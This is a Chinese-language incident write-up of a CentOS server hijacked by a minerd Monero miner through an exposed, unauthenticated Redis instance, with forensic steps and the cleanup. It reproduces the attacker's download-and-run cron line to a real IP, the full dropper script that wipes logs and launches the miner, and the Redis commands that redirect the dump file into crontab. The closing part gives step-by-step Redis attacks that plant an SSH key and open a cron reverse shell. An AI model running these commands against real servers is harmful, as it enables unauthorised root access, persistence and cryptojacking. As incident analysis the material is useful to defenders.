事件经过:
周六早上监控服务器发送报警,连续多次无法建立与一台应用服务器的连接。
情况紧急,登录时发现该应用服务器并没有崩溃。执行:
ps -ef | grep Nginx
结果显示相关服务还健在。
执行:
uptime
发现,服务器的负载非常高。
执行:
top
发现,有一个叫做minerd的进程占用了几乎所有cpu资源。
百度“centos minerd”,搜索结果显示minerd是一个臭名昭著的比特币挖矿程序,说明服务器已经被入侵,沦为肉鸡了。
执行:
pkill -9 minerd
杀死了该进程。
过了一会儿,需要检查该进程是否重新启动。
再次执行:
top
发现minerd进程又出现了,不愧是病毒程序,猜测有可能有定时调度在执行挖矿程序。
执行:
crontab -l
列出计划任务,发现计划任务列表竟然为空,猜测无效,有点慌。
执行:
cd / && find -name "minerd"
找到了病毒程序所在位置为:/root/minerd
执行:
chmod a-x /root/minerd
移除该程序可执行权限,再次杀掉minerd进程。
过了一会儿,再次检查该进程是否重新启动发现,进程再次出现。
执行:
cd /root && ll -a
显示/root/minerd文件已经恢复了可执行权限。
执行:
rm -f /root/minerd
删除病毒程序,再次杀掉minerd进程。
过了一会儿,再次检查该进程是否重新启动发现,TMD进程再次出现,表现得很坚强。
回想起该应用服务器的计划任务列表,不应该为空才对,因为至少有数据库备份等几个定时任务。
多次执行:
crontab -l
结果一会儿显示为空,一会儿显示乱码,由于乱码数据相当多,导致疯狂刷屏。由此推测,crontab计划任务被持续动态修改,即minerd还有同伙。
执行:
cd /var/log && cat cron | grep .sh
查看crontab日志文件,结果显示:
Jul 12 22:53:34 d6 CROND[9332]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 22:59:44 d6 CROND[9365]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:01:01 d6 run-parts(/etc/cron.hourly)[9405]: finished 0anacron
Jul 12 23:01:01 d6 run-parts(/etc/cron.hourly)[9411]: finished 0yum-hourly.cron
Jul 12 23:05:48 d6 CROND[9417]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:11:45 d6 CROND[9450]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:17:43 d6 CROND[9483]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:23:46 d6 CROND[9516]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:29:45 d6 CROND[9550]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:35:46 d6 CROND[9583]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:41:43 d6 CROND[9616]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:47:44 d6 CROND[9650]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:53:43 d6 CROND[9683]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 12 23:59:50 d6 CROND[9717]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 13 00:01:01 d6 run-parts(/etc/cron.hourly)[9759]: finished 0anacron
Jul 13 00:01:01 d6 run-parts(/etc/cron.hourly)[9765]: finished 0yum-hourly.cron
Jul 13 00:05:48 d6 CROND[9772]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
Jul 13 00:11:46 d6 CROND[9805]: (root) CMD (/usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh)
坏人终于露出了马脚:定时任务每几分钟会从远程服务器下载一个test11.sh的脚本文件并执行。
执行:
wget http://67.209.185.118:8220/test11.sh && cat test11.sh
下载该脚本并查看其内容,其内容如下:
#!/bin/bash #捕获minerd进程并杀掉 (ps auxf|grep -v grep|grep mine |awk '{print $2}'|xargs kill -9; #清空计划任务,难怪首次查看计划任务时计划任务为空 crontab -r; #又杀了一批进程,不知要作甚? pkill -9 minerd; pkill -9 i586; pkill -9 gddr; #清空系统登录登出日志 echo > /var/log/wtmp; #清空命令执行记录 history -c; #切到用户目录 cd ~; #下载挖矿程序并写入minerd文件 curl -L http://67.209.185.118:8220/minerd -o minerd; #为minerd文件添加执行权限 chmod +x minerd; #执行挖矿程序 setsid /root/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x &>>/dev/null)
从脚本内容可以看出,敌人是非常阴险狡诈的,它每次执行挖矿程序前都从远程服务器下载并赋予执行权限,所以我删除病毒程序或者修改其权限都没有效果;该脚本还清除了命令执行记录和系统登录记录,所以很难找到系统被操作的痕迹。
执行:
cd /etc && cat crontab
查看计划任务,计划任务显示为空。
执行:
cd /var/spool/cron && cat root
查看用户计划任务,结果打印了一大堆乱码,狂刷屏,和上文执行:crontab -l时情况一样。
执行:
cd /var/spool/cron && ll -ah
结果显示root文件900MB以上,这就难怪狂刷屏了。该root文件是一个二进制文件,由此产生了疑问,crontab难道还能解析二进制文件来执行不成,root文件这么大,里边究竟是些什么内容。
执行:
echo > /var/spool/cron/root
清空root文件内容,再次执行:crontab -l发现计划任务列表已被清除。
不断执行:
cd /var/spool/cron && ll -ah
观察发现一会儿功夫,root文件又从0MB恢复到了900多MB。结论和上面一样,有程序(minerd同伙)在动态修改root文件的内容,即crontab计划任务。
时间紧急,执行:
ps -ef
大概看了一下所有的进程,没有发现同伙。
执行:
systemctl stop crond
关闭系统定时调度服务,再次杀掉minerd进程,观察一阵子,minerd进程没有再恢复。
至此,应用服务器恢复了可用,忙其他事情先...
正片继续,查看了网上关于minerd病毒的情况,中招的人很多,黑客利用redis在服务器注入文件,进而控制了服务器。
网上说黑客会在服务器上写入ssh的密匙文件,从而实现免密码登录你的服务器,非常可怕。
执行:
cat /etc/ssh/sshd_config
sshd_config文件中有如下配置:
AuthorizedKeysFile .ssh/authorized_keys
ssh的配置文件并没有被修改。
执行:
cd /etc/ssh && ll -a
查看sshd_config文件的修改日期,确认其并没有被修改。
执行:
cd /root/.ssh && ll
结果显示目录下也只有authorized_keys一个文件,修改日期也正常。
执行:
cat /root/.ssh/authorized_keys
文件内容确实没有被修改。
以上结果说明:我的情况和网络上的并不一样,黑客并没有在我的服务器搞无密码登录。
执行:
ps -ef
列出所有进程,对比另一台服务器的进程,一一排除,没有发现异常进程,亚历山大...
多次执行:
cd /var/spool/cron && ll -ah
发现该目录下会出现一个temp-xxx.rdb的文件,几秒后消失,然后又出现,又消失。
rdb文件是redis的数据存储文件。
执行:
cd /var/spool/cron/ && head root
显示:
REDIS0006þ...
可以确认用户计划任务配置文件/var/spool/cron/root已经变成了一个redis数据文件。
执行:
cat /var/spool/cron/root | grep sh
结果显示:
Binary file (standard input) matches
由于root文件是一个二进制文件,grep无效,修改命令重新执行:
cat /var/spool/cron/root | grep -a sh
结果显示:
*/1 * * * * /usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh
由此可知,并不是crontab能解析二进制文件,而是crontab对配置文件的冗余度太高,它能在一团乱码中提取出有效的配置,黑客正是利用了这一点。
执行:
cat /home/redis/conf/redis.conf
可以发现redis配置并没有被修改,我的redis数据文件位于/home/redis/data/redis.rdb,超过900MB,而/var/spool/cron/root文件正好也是900多MB。
说明我的redis数据存储位置已经被重定向到了crontab的配置文件处,幸好黑客并没有flushall我的redis数据。
接下来我要把黑客写入redis的数据找出来。
执行:
cd /home/redis/bin
./redis-cli -p 9003
连接上了redis server,redis中key的数目超过了千万,使用:keys *命令输出太多,但由于这些key都是数字开头的,因此我们先假设黑客的key是字母开头的,遍历一下:
127.0.0.1:9003> keys a*
(empty list or set)
127.0.0.1:9003> keys b*
(empty list or set)
127.0.0.1:9003> keys c*
(empty list or set)
127.0.0.1:9003> keys d*
(empty list or set)
127.0.0.1:9003> keys e*
(empty list or set)
127.0.0.1:9003> keys f*
(empty list or set)
127.0.0.1:9003> keys g*
1) "gmgjhofcik"
127.0.0.1:9003> type gmgjhofcik
string
127.0.0.1:9003> get gmgjhofcik
"\n\n*/1 * * * * /usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh\n\n"
127.0.0.1:9003> exit
现在我找到了黑客的key值为gmgjhofcik,而其value就是一条crontab。
执行:
./redis-cli -p 9003 keys "g*" | xargs ./redis-cli -p 9003 del
./redis-cli -p 9003 shutdown
清除黑客的数据,并关闭redis。
执行:
cp /var/spool/cron/root /home/redis/data/redis.rdb
./redis-server ../conf/redis.conf
将redis数据文件覆盖回来,重启redis。
至此,挖矿病毒消除。
已经可以知晓黑客入侵的整个流程如下:
1. 遍历他人的服务器端口,尝试使用redis-cli -h [IP] -p [port]进行连接,一旦服务器的redis服务暴露在公网,缺少认证,就能连接成功。2. redis-cli连接成功之后,执行以下redis命令将用户的redis数据存储位置重定向到crontab的配置文件处:
config set dir /var/spool/cron/
config set dbfilename root
save
之后,redis会每隔一段时间就将数据dump到/var/spool/cron/root,因此我之前删除root文件又会恢复,因为redis服务一直在操作该文件,redis即是minerd的同伙。
3. 执行以下命令在redis中写入crontab配置:
echo -e "\n\n*/1 * * * * /usr/bin/curl -fsSL http://67.209.185.118:8220/test11.sh | sh\n\n" | redis-cli -h [IP] -p [PORT] -x set "gmgjhofcik"
完毕!
在我的案例中,虽然/var/spool/cron/root文件是一个900多MB的文件,以文本方式查看一片混乱。
但由于crontab对配置文件的冗余度非常高,且redis的rdb文件中key、value等字符串信息仍然是文本形式的,因此crontab能从/var/spool/cron/root文件中读取出有效的配置。
之后crontab会定时下载并执行test11.sh,而test11.sh则会下载minerd并执行。另外test11.sh还包含擦除入侵痕迹等操作,增加了问题排查的难道。
由于test11.sh是定时从远程服务器下载执行的,黑客可以随时修改test11.sh的内容为所欲为,把用户的服务器按在地上摩擦。
redis攻击方式二,通过写入SSH公钥实现免密码SSH登录:
首先在本地生成免密码的公私钥文件:ssh-keygen -t rsa
进入交互:
Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): my_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in my_rsa. Your public key has been saved in my_rsa.pub. The key fingerprint is: 4c:44:a3:71:a2:0b:79:8b:1e:8c:77:04:74:ec:9a:aa root@localhost.localdomain The key's randomart image is: +--[ RSA 2048]----+ | .o.. o.= | | +.. * . | | o.+ . . | | o =.o o | |. =o+ S | | ooo | | .. | |. | |E | +-----------------+
生成了my_rsa和my_rsa.pub两个文件。
然后将公钥写入temp文件:
(echo -e "\n\n"; cat my_rsa.pub; echo -e "\n\n") > temp
再连接Redis,清空原有数据并写入公匙数据:
redis-cli -h [IP] -p [PORT] flushall
cat temp | redis-cli -h [IP] -p [PORT] -x set crackit
重定向redis数据文件至ssh密匙配置文件处:
redis-cli -h [IP] -p [PORT] 127.0.0.1:9003> config set dir /root/.ssh/ OK 127.0.0.1:9003> config get dir 1) "dir" 2) "/root/.ssh" 127.0.0.1:9003> config set dbfilename "authorized_keys" OK 127.0.0.1:9003> save OK 127.0.0.1:9003> exit
这样就可以将自己的公钥写入被攻击服务器/root/.ssh文件夹的authotrized_keys文件里。
然后执行:
ssh –i id_rsa root@[IP]
即可远程利用自己的私钥免密码登录该服务器。
redis攻击方式三,通过cron反弹shell,以下摘抄自网络:
猪猪侠发在乌云的思路echo -e “nn*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xxx.xx.xx/888 0>&1nn”|redis-cli -h www.am0s.com -p 13000 -x set 1
本地命令行执行下面命令,sss.sss.sss.sss写redis地址,xx.xxx.xx.xx写vps地址,-p指定端口连接,如果默认可以不写-p参数。
redis-cli -h www.am0s.com -p 13000
#修改本地数据库存放目录到计划任务目录
config set dir /var/spool/cron
#指定本地数据库文件名
config set dbfilename root
#同步保存数据到磁盘
Save
然后本地nc监听
Nc-lvvp 888即可得到root权限的shell